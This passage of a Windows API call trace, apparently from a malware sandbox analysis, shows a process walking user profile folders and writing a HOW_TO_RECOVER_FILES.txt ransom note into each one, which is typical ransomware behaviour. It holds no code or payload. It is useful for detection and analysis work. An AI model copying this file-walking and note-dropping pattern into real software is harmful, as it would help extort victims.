ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd650 [0188.121] FindNextFileW (in: hFindFile=0x1ecdd650, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0188.121] FindNextFileW (in: hFindFile=0x1ecdd650, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0188.121] FindNextFileW (in: hFindFile=0x1ecdd650, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44269063, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44269063, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44269063, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0188.121] FindNextFileW (in: hFindFile=0x1ecdd650, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44242e24, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44242e24, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44242e24, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0188.121] FindNextFileW (in: hFindFile=0x1ecdd650, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 1 [0188.122] FindNextFileW (in: hFindFile=0x1ecdd650, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0188.122] FindClose (in: hFindFile=0x1ecdd650 | out: hFindFile=0x1ecdd650) returned 1 [0188.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0188.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0188.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0188.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Searches", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Searches", lpFilePart=0x0) returned 0x18 [0188.122] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd710 [0188.122] FindNextFileW (in: hFindFile=0x1ecdd710, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0188.122] FindNextFileW (in: hFindFile=0x1ecdd710, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0188.122] FindNextFileW (in: hFindFile=0x1ecdd710, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44269063, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44269063, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44269063, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0188.123] FindNextFileW (in: hFindFile=0x1ecdd710, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44242e24, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44242e24, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44242e24, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0188.123] FindNextFileW (in: hFindFile=0x1ecdd710, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 1 [0188.123] FindNextFileW (in: hFindFile=0x1ecdd710, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 0 [0188.123] FindClose (in: hFindFile=0x1ecdd710 | out: hFindFile=0x1ecdd710) returned 1 [0188.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0188.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0188.123] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", lpFilePart=0x0) returned 0x2d [0188.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0188.124] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), fInfoLevelId=0x0, lpFileInformation=0x3905060 | out: lpFileInformation=0x3905060*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44269063, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44269063, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44269063, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1 [0188.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0188.125] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", nBufferLength=0x105, lpBuffer=0x202edb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", lpFilePart=0x0) returned 0x2d [0188.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee030) returned 1 [0188.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0188.125] GetFileType (hFile=0x81c) returned 0x1 [0188.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edfa0) returned 1 [0188.126] GetFileType (hFile=0x81c) returned 0x1 [0188.126] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x202ee1d8 | out: lpFileSizeHigh=0x202ee1d8*=0x0) returned 0xf8 [0188.126] ReadFile (in: hFile=0x81c, lpBuffer=0x39076e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee108, lpOverlapped=0x0 | out: lpBuffer=0x39076e8*, lpNumberOfBytesRead=0x202ee108*=0xf8, lpOverlapped=0x0) returned 1 [0188.127] CloseHandle (hObject=0x81c) returned 1 [0191.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", nBufferLength=0x105, lpBuffer=0x202edb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", lpFilePart=0x0) returned 0x2d [0191.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee030) returned 1 [0191.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eaa20) returned 1 [0191.448] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", lpFilePart=0x0) returned 0x34 [0191.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0191.448] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms"), fInfoLevelId=0x0, lpFileInformation=0x346fbe0 | out: lpFileInformation=0x346fbe0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44242e24, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44242e24, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44242e24, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1 [0191.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0191.449] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", nBufferLength=0x105, lpBuffer=0x202edb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", lpFilePart=0x0) returned 0x34 [0191.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee030) returned 1 [0191.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0191.449] GetFileType (hFile=0x7c8) returned 0x1 [0191.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edfa0) returned 1 [0191.449] GetFileType (hFile=0x7c8) returned 0x1 [0191.449] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x202ee1d8 | out: lpFileSizeHigh=0x202ee1d8*=0x0) returned 0xf8 [0191.449] ReadFile (in: hFile=0x7c8, lpBuffer=0x346ff70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee108, lpOverlapped=0x0 | out: lpBuffer=0x346ff70*, lpNumberOfBytesRead=0x202ee108*=0xf8, lpOverlapped=0x0) returned 1 [0192.179] CloseHandle (hObject=0x7c8) returned 1 [0192.205] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", nBufferLength=0x105, lpBuffer=0x202edb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", lpFilePart=0x0) returned 0x34 [0192.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee030) returned 1 [0192.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0192.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eaa20) returned 1 [0192.208] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Searches\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0192.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0192.208] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\searches\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0192.529] GetFileType (hFile=0x818) returned 0x1 [0192.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0192.530] GetFileType (hFile=0x818) returned 0x1 [0192.566] WriteFile (in: hFile=0x818, lpBuffer=0x352dad8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x352dad8*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0192.567] CloseHandle (hObject=0x818) returned 1 [0192.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0192.567] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\SendTo", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\SendTo", lpFilePart=0x0) returned 0x16 [0192.567] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\SendTo\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0192.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee380) returned 1 [0192.570] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\SendTo\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\SendTo\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2f [0192.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0192.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\SendTo\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\sendto\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0192.573] GetFileType (hFile=0x818) returned 0x1 [0192.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0192.573] GetFileType (hFile=0x818) returned 0x1 [0192.574] WriteFile (in: hFile=0x818, lpBuffer=0x35bb898*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x35bb898*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0192.575] CloseHandle (hObject=0x818) returned 1 [0192.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0192.575] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Start Menu", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Start Menu", lpFilePart=0x0) returned 0x1a [0192.575] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Start Menu\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0192.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee380) returned 1 [0192.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Start Menu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Start Menu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0192.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0192.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Start Menu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\start menu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0192.684] GetFileType (hFile=0x818) returned 0x1 [0192.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0192.684] GetFileType (hFile=0x818) returned 0x1 [0192.684] WriteFile (in: hFile=0x818, lpBuffer=0x34a43a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x34a43a8*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0192.685] CloseHandle (hObject=0x818) returned 1 [0193.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0193.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Templates", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Templates", lpFilePart=0x0) returned 0x19 [0193.118] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Templates\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0193.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee380) returned 1 [0193.120] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Templates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Templates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0193.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0193.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Templates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\templates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0193.237] GetFileType (hFile=0x824) returned 0x1 [0193.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0193.237] GetFileType (hFile=0x824) returned 0x1 [0193.238] WriteFile (in: hFile=0x824, lpBuffer=0x3555028*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x3555028*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0193.399] CloseHandle (hObject=0x824) returned 1 [0193.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0193.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites", lpFilePart=0x0) returned 0x19 [0193.401] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0193.402] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.402] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x43b9f870, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bing.url", cAlternateFileName="")) returned 1 [0193.402] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0193.402] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0193.402] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 0 [0193.402] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0193.402] 